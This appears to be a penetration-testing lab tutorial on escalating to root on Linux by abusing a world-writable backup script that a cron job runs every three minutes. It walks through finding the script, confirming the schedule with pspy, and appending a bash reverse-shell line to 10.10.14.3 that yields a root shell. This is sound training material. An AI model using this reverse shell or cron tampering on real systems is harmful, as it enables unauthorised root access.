**Cron Job Abuse**

Cron jobs can also be set run one time (such as on boot). They are typically used for administrative tasks such as running backups, cleaning up directories, etc. The crontab command can create a cron file, which will be run by the cron daemon on the schedule specified. When created, the cron file will be created in /var/spool/cron for the specific user that creates it. Each entry in the crontab file requires six items in the following order: minutes, hours, days, months, weeks, commands. For example, the entry 0 \*/12 \* \* \* /home/admin/backup.sh would run every 12 hours.

The root crontab is almost always only editable by the root user or a user with full sudo privileges; however, it can still be abused. You may find a world-writable script that runs as root and, even if you cannot read the crontab to know the exact schedule, you may be able to ascertain how often it runs (i.e., a backup script that creates a .tar.gz file every 12 hours). In this case, you can append a command onto the end of the script (such as a reverse shell one-liner), and it will execute the next time the cron job runs.

Certain applications create cron files in the /etc/cron.d directory and may be misconfigured to allow a non-root user to edit them.

First, let's look around the system for any writeable files or directories. The file backup.sh in the /dmz-backups directory is interesting and seems like it could be running on a cron job.

yovecio@htb[/htb]$ find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

/etc/cron.daily/backup

/dmz-backups/backup.sh

/proc

/sys/fs/cgroup/memory/init.scope/cgroup.event\_control

<SNIP>

/home/backupsvc/backup.sh

<SNIP>

A quick look in the /dmz/backups directory shows what appears to be files created every three minutes. This seems to be a major misconfiguration. Perhaps the sysadmin meant to specify every three hours like 0 \*/3 \* \* \* but instead wrote \*/3 \* \* \* \*, which tells the cron job to run every three minutes. The second issue is that the backup.sh shell script is world writeable and runs as root.

yovecio@htb[/htb]$ ls -la /dmz-backups/

total 36

drwxrwxrwx 2 root root 4096 Aug 31 02:39 .

drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..

-rwxrwxrwx 1 root root 230 Aug 31 02:39 backup.sh

-rw-r--r-- 1 root root 3336 Aug 31 02:24 www-backup-2020831-02:24:01.tgz

-rw-r--r-- 1 root root 3336 Aug 31 02:27 www-backup-2020831-02:27:01.tgz

-rw-r--r-- 1 root root 3336 Aug 31 02:30 www-backup-2020831-02:30:01.tgz

-rw-r--r-- 1 root root 3336 Aug 31 02:33 www-backup-2020831-02:33:01.tgz

-rw-r--r-- 1 root root 3336 Aug 31 02:36 www-backup-2020831-02:36:01.tgz

-rw-r--r-- 1 root root 3336 Aug 31 02:39 www-backup-2020831-02:39:01.tgz

We can confirm that a cron job is running using [pspy](https://github.com/DominicBreuker/pspy), a command-line tool used to view running processes without the need for root privileges. We can use it to see commands run by other users, cron jobs, etc. It works by scanning [procfs](https://en.wikipedia.org/wiki/Procfs).

Let's run pspy and have a look. The -pf flag tells the tool to print commands and file system events and -i 1000 tells it to scan [profcs](https://man7.org/linux/man-pages/man5/procfs.5.html) every 1000ms (or every second).

yovecio@htb[/htb]$ ./pspy64 -pf -i 1000

pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855

██▓███ ██████ ██▓███ ▓██ ██▓

▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒

▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░

▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░

▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░

▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒

░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░

░░ ░ ░ ░ ░░ ▒ ▒ ░░

░ ░ ░

░ ░

Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)

Draining file system events due to startup...

done

2020/09/04 20:45:03 CMD: UID=0 PID=999 | /usr/bin/VGAuthService

2020/09/04 20:45:03 CMD: UID=111 PID=990 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation

2020/09/04 20:45:03 CMD: UID=0 PID=99 |

2020/09/04 20:45:03 CMD: UID=0 PID=988 | /usr/lib/snapd/snapd

<SNIP>

2020/09/04 20:45:03 CMD: UID=0 PID=1017 | /usr/sbin/cron -f

2020/09/04 20:45:03 CMD: UID=0 PID=1010 | /usr/sbin/atd -f

2020/09/04 20:45:03 CMD: UID=0 PID=1003 | /usr/lib/accountsservice/accounts-daemon

2020/09/04 20:45:03 CMD: UID=0 PID=1001 | /lib/systemd/systemd-logind

2020/09/04 20:45:03 CMD: UID=0 PID=10 |

2020/09/04 20:45:03 CMD: UID=0 PID=1 | /sbin/init

2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive

2020/09/04 20:46:01 CMD: UID=0 PID=2201 | /bin/bash /dmz-backups/backup.sh

2020/09/04 20:46:01 CMD: UID=0 PID=2200 | /bin/sh -c /dmz-backups/backup.sh

2020/09/04 20:46:01 FS: OPEN | /usr/lib/x86\_64-linux-gnu/gconv/gconv-modules.cache

2020/09/04 20:46:01 CMD: UID=0 PID=2199 | /usr/sbin/CRON -f

2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive

2020/09/04 20:46:01 CMD: UID=0 PID=2203 |

2020/09/04 20:46:01 FS: CLOSE\_NOWRITE | /usr/lib/locale/locale-archive

2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive

2020/09/04 20:46:01 FS: CLOSE\_NOWRITE | /usr/lib/locale/locale-archive

2020/09/04 20:46:01 CMD: UID=0 PID=2204 | tar --absolute-names --create --gzip --file=/dmz-backups/www-backup-202094-20:46:01.tgz /var/www/html

2020/09/04 20:46:01 FS: OPEN | /usr/lib/locale/locale-archive

2020/09/04 20:46:01 CMD: UID=0 PID=2205 | gzip

2020/09/04 20:46:03 FS: CLOSE\_NOWRITE | /usr/lib/locale/locale-archive

2020/09/04 20:46:03 CMD: UID=0 PID=2206 | /bin/bash /dmz-backups/backup.sh

2020/09/04 20:46:03 FS: CLOSE\_NOWRITE | /usr/lib/x86\_64-linux-gnu/gconv/gconv-modules.cache

2020/09/04 20:46:03 FS: CLOSE\_NOWRITE | /usr/lib/locale/locale-archive

From the above output, we can see that a cron job runs the backup.sh script located in the /dmz-backups directory and creating a tarball file of the contents of the /var/www/html directory.

We can look at the shell script and append a command to it to attempt to obtain a reverse shell as root. If editing a script, make sure to ALWAYS take a copy of the script and/or create a backup of it. We should also attempt to append our commands to the end of the script to still run properly before executing our reverse shell command.

yovecio@htb[/htb]$ cat /dmz-backups/backup.sh

#!/bin/bash

SRCDIR="/var/www/html"

DESTDIR="/dmz-backups/"

FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz

tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

We can see that the script is just taking in a source and destination directory as variables. It then specifies a file name with the current date and time of backup and creates a tarball of the source directory, the web root directory. Let's modify the script to add a [Bash one-liner reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).

Code: bash

#!/bin/bash

SRCDIR="/var/www/html"

DESTDIR="/dmz-backups/"

FILENAME=www-backup-$(date +%-Y%-m%-d)-$(date +%-T).tgz

tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

bash -i >& /dev/tcp/10.10.14.3/443 0>&1

We modify the script, stand up a local netcat listener, and wait. Sure enough, within three minutes, we have a root shell!

yovecio@htb[/htb]$ nc -lnvp 443

listening on [any] 443 ...

connect to [10.10.14.3] from (UNKNOWN) [10.129.2.12] 38882

bash: cannot set terminal process group (9143): Inappropriate ioctl for device

bash: no job control in this shell

root@NIX02:~# id

id

uid=0(root) gid=0(root) groups=0(root)

root@NIX02:~# hostname

hostname

NIX02

While not the most common attack, we do find poorly configured cron jobs that can be abused from time to time.